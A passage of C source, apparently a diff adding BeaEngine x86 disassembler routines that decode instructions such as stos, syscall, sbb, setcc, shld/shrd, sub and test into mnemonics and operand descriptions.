(*pMyDisasm).Argument2.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 94); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasw "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 94); + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ stc_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stc "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 98); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ sti_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sti "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 100); +} + + +/* ======================================= + * 0aah + * ======================================= */ +void __bea_callspec__ stos_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosb "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 101); +} + +/* ======================================= + * 0abh + * ======================================= */ +void __bea_callspec__ stosw_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosq "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 101); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosd "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 101); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosw "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 101); + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ syscall_(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "syscall "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG1+REG11; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ sysret_(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sysret "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG1+REG11; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else { + FailDecode(pMyDisasm); + } +} + + + +/* ======================================= + * 18h + * ======================================= */ +void __bea_callspec__ sbb_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,93); +} + +/* ======================================= + * 19h + * ======================================= */ +void __bea_callspec__ sbb_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,93); +} + +/* ======================================= + * 1ah + * ======================================= */ +void __bea_callspec__ sbb_GbEb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + GbEb(pMyDisasm); + FillFlags(pMyDisasm,93); +} + +/* ======================================= + * 1bh + * ======================================= */ +void __bea_callspec__ sbb_GvEv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,93); +} + +/* ======================================= + * 1ch + * ======================================= */ +void __bea_callspec__ sbb_ALIb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + ALIb(pMyDisasm); + FillFlags(pMyDisasm,93); +} + +/* ======================================= + * 1dh + * ======================================= */ +void __bea_callspec__ sbb_eAX_Iv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,93); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ seto_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "seto "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f91h + * ======================================= */ +void __bea_callspec__ setno_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setno "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setb "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setnb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnb "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ sete_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sete "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setne_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setne "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setbe_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setbe "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setnbe_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnbe "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ sets_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sets "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setns_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setns "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setp_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setp "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setnp_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnp "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setge_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnl "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setnge_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setl "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setle_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setle "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + +/* ======================================= + * 0f90h + * ======================================= */ +void __bea_callspec__ setnle_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "setnle "); + #endif + GV.MemDecoration = Arg2byte; + GV.OperandSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.OperandSize = 32; + GV.EIP_+= GV.DECALAGE_EIP+2; + FillFlags(pMyDisasm,95); +} + + +/* ======================================= + * 0fa4h + * ======================================= */ +void __bea_callspec__ shld_EvGvIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shld "); + #endif + GV.ImmediatSize = 8; + EvGv(pMyDisasm); + GV.EIP_+= 1; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.8X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + FillFlags(pMyDisasm, 97); +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ shld_EvGvCL(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shld "); + #endif + EvGv(pMyDisasm); + GV.third_arg = 2; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument3.ArgMnemonic, Registers8Bits[1]); + #endif + (*pMyDisasm).Argument3.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument3.ArgSize = 8; + FillFlags(pMyDisasm, 97); +} + +/* ======================================= + * 0fach + * ======================================= */ +void __bea_callspec__ shrd_EvGvIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shrd "); + #endif + GV.ImmediatSize = 8; + EvGv(pMyDisasm); + GV.EIP_+= 1; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.8X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + FillFlags(pMyDisasm, 97); +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ shrd_EvGvCL(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+SHIFT_ROTATE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shrd "); + #endif + EvGv(pMyDisasm); + GV.third_arg = 2; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument3.ArgMnemonic, Registers8Bits[1]); + #endif + (*pMyDisasm).Argument3.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument3.ArgSize = 8; + FillFlags(pMyDisasm, 97); +} + + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ std_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "std "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 99); +} + + +/* ======================================= + * 28h + * ======================================= */ +void __bea_callspec__ sub_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,103); +} + +/* ======================================= + * 29h + * ======================================= */ +void __bea_callspec__ sub_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,103); +} + +/* ======================================= + * 2ah + * ======================================= */ +void __bea_callspec__ sub_GbEb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + GbEb(pMyDisasm); + FillFlags(pMyDisasm,103); +} + +/* ======================================= + * 2bh + * ======================================= */ +void __bea_callspec__ sub_GvEv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,103); +} + +/* ======================================= + * 2ch + * ======================================= */ +void __bea_callspec__ sub_ALIb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + ALIb(pMyDisasm); + FillFlags(pMyDisasm,103); +} + +/* ======================================= + * 2dh + * ======================================= */ +void __bea_callspec__ sub_eAX_Iv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,103); +} + +/* ======================================= + * 84h + * ======================================= */ +void __bea_callspec__ test_EbGb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + EbGb(pMyDisasm); + FillFlags(pMyDisasm,104); +} + +/* ======================================= + * 85h + * ======================================= */ +void __bea_callspec__ test_EvGv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + EvGv(pMyDisasm); + FillFlags(pMyDisasm,104); +} + +/* ======================================= + * 86h + * ======================================= */ +void __bea_callspec__ test_GbEb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GbEb(pMyDisasm); + FillFlags(pMyDisasm,104); +} + +/* ======================================= + * 87h + * ======================================= */ +void __bea_callspec__ test_GvEv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GvEv(pMyDisasm); + FillFlags(pMyDisasm,104); +} + +/* ======================================= + * 88h + * ======================================= */ +void __bea_callspec__ test_ALIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + ALIb(pMyDisasm); + FillFlags(pMyDisasm,104); +} + +/* ======================================= + * 89h + * ======================================= */ +void __bea_callspec__ test_eAX_Iv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,104); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ ud2_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+MISCELLANEOUS_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy 